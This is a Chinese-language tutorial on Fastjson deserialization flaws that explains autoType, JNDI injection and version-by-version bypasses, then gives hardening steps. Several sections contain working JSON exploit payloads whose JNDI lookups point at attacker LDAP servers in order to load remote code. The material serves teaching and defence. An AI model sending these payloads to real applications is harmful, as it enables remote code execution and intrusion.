Fastjson反序列化漏洞深度解析与利用和修复
字数 2244 2025-08-22 18:37:14
Fastjson反序列化漏洞深度解析与利用修复指南
1. 漏洞原理
Fastjson反序列化漏洞的核心在于其autoType功能。当autoType开启时,Fastjson会根据JSON数据中的@type字段来实例化对应的Java对象。攻击者可以利用这个特性,将@type字段设置为恶意类的名称,并在JSON数据中传入恶意类的属性值,从而触发恶意类的setter方法,最终导致代码执行。
示例分析
示例1 - 正常反序列化
package org.example;
public class User {
private int age;
private String name;
public void setAge(int age) {
System.out.println("setAge被调用: " + age);
this.age = age;
}
public void setName(String name) {
System.out.println("setName被调用: " + name);
this.name = name;
}
}
String userJson = "{\"@type\":\"org.example.User\",\"age\":11,\"name\":\"xiaodi\"}";
User user = (User)JSON.parse(userJson);
示例2 - 恶意反序列化
String userJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.2.103:1389/imfoer\",\"autoCommit\":\"true\"}";
User user = (User)JSON.parse(userJson);
- 解析
@type对应的类JdbcRowSetImpl - 触发类
JdbcRowSetImpl里面的set方法 - 将
dataSourceName设置为恶意LDAP地址 - 触发
lookup方法,解析JNDI payload导致命令执行
2. 利用方式 - JNDI注入
JNDI(Java Naming and Directory Interface)是Java提供的命名和目录服务接口,可用于查找和访问各种资源。
2.1 远程引用模式(基于JDK版本)
原理:
在JDK版本较低时,JNDI支持从远程加载类,攻击者可以通过JNDI地址指向远程恶意类实现远程代码执行。
Java对象在JNDI中的存储方式:
- Java序列化之后的数据
- JNDI Reference
- Marshalled对象
- Remote Location (Java 1.8u191+已弃用)
版本限制:
- Java 8u191之前:默认允许加载远程类
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); - Java 8u191+:自动禁用远程加载类
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
2.2 反序列化模式(高版本JDK绕过)
依赖条件:
- 依赖特定的第三方库(gadget chain)
- 目标环境中存在可利用的反序列化库
- 未禁止JNDI反序列化:
System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "false") // 默认允许
利用方式:
- 探测反序列化链(使用DNSLOG平台)
- 根据探测结果(如CC链)生成基于反序列化的JNDI注入payload
2.3 本地引用模式(Local Reference绕过高版本JDK)
依赖条件:
- 目标环境中存在特定的类(Tomcat、Groovy等)
- 目标环境包含攻击所需的类
利用方式:
利用本地已有的类(如org.apache.naming.factory.BeanFactory)作为Factory,通过JNDI注入实例化恶意类并执行代码。
3. 漏洞利用与版本绕过
3.1 漏洞触发点
JSON.parseObject(): 反序列化为Java对象JSON.parse(): 解析JSON对象(存在@type时也会触发反序列化)
3.2 Fastjson不同版本的绕过历史
3.2.1 Fastjson 1.2.24及之前
特点:
- autoType默认开启
- 无严格黑名单限制
利用方式:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.2.103:1389/imfoer",
"autoCommit": "true"
}
3.2.2 Fastjson 1.2.25-1.2.41
特点:
- autoType默认关闭(可配置开启)
- 引入黑名单机制
- 可通过在类名前后加"L"和";"绕过
利用方式:
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://192.168.2.103:1389/imfoer",
"autoCommit": "true"
}
3.2.3 Fastjson 1.2.42-1.2.47
特点:
- autoType默认关闭
- 修复"L"和";"绕过方式
通杀Exp方案:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.139.1:1389/lvkr9r",
"autoCommit": true
}
}
3.2.4 Fastjson <=1.2.62
前提条件:
- xbean依赖
- 手动开启autotype
Exp:
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://127.0.0.1:1099/exploit"
}
3.2.5 Fastjson <=1.2.66
前提条件:
- shiro依赖
- 手动开启autotype
Exp:
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://192.168.80.1:1389/Calc"
}
3.3 Fastjson反序列化链跟踪(JdbcRowSetImpl链)
利用条件:
- Fastjson版本 <= 1.2.47
- autoTypeSupport开启或通过java.lang.Class绕过黑名单
反序列化调用链:
JSON.parseObject()/JSON.parse()DefaultJSONParser.parse()DefaultJSONParser.parseObject()JavaBeanDeserializer.deserialze()FieldDeserializer.setValue()TypeUtils.cast()TypeUtils.loadClass()(加载JdbcRowSetImpl类)JavaBeanDeserializer.deserialze()(反序列化JdbcRowSetImpl对象)FieldDeserializer.setValue()(设置dataSourceName属性)FieldDeserializer.setValue()(设置autoCommit属性)JdbcRowSetImpl.setAutoCommit(true)JdbcRowSetImpl.connect()JndiDataSource.getConnection()JndiContext.lookup("ldap://192.168.139.1:1389/Exploit")(JNDI注入)
4. 加固修复方法
4.1 禁用JDK的远程JNDI查找和反序列化模式
启动参数方式:
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=false \
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false \
-Dcom.sun.jndi.ldap.object.trustSerialData=false \
-jar your-application.jar
代码方式:
static {
setPropertyIfAbsent("com.sun.jndi.ldap.object.trustURLCodebase", "false");
setPropertyIfAbsent("com.sun.jndi.rmi.object.trustURLCodebase", "false");
setPropertyIfAbsent("com.sun.jndi.ldap.object.trustSerialData", "false");
}
Spring Boot配置方式(推荐):
spring:
application:
jvm:
args:
- "-Dcom.sun.jndi.ldap.object.trustURLCodebase=false"
- "-Dcom.sun.jndi.rmi.object.trustURLCodebase=false"
- "-Dcom.sun.jndi.ldap.object.trustSerialData=false"
4.2 禁用Fastjson autotype
全局禁用(强烈推荐):
@Configuration
public class FastjsonConfig {
@PostConstruct
public void init() {
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
}
}
4.3 配置Fastjson反序列化白名单
代码方式:
@Configuration
public class FastjsonConfig {
@PostConstruct
public void init() {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
ParserConfig.getGlobalInstance().addAccept("com.example.model.");
ParserConfig.getGlobalInstance().addAccept("com.example.another.SpecificClass");
}
}
Spring Boot配置方式(推荐):
spring:
application:
jvm:
args: -Dfastjson.parser.autoTypeAccept=com.example.model.exclass,com.example.another.SpecificClass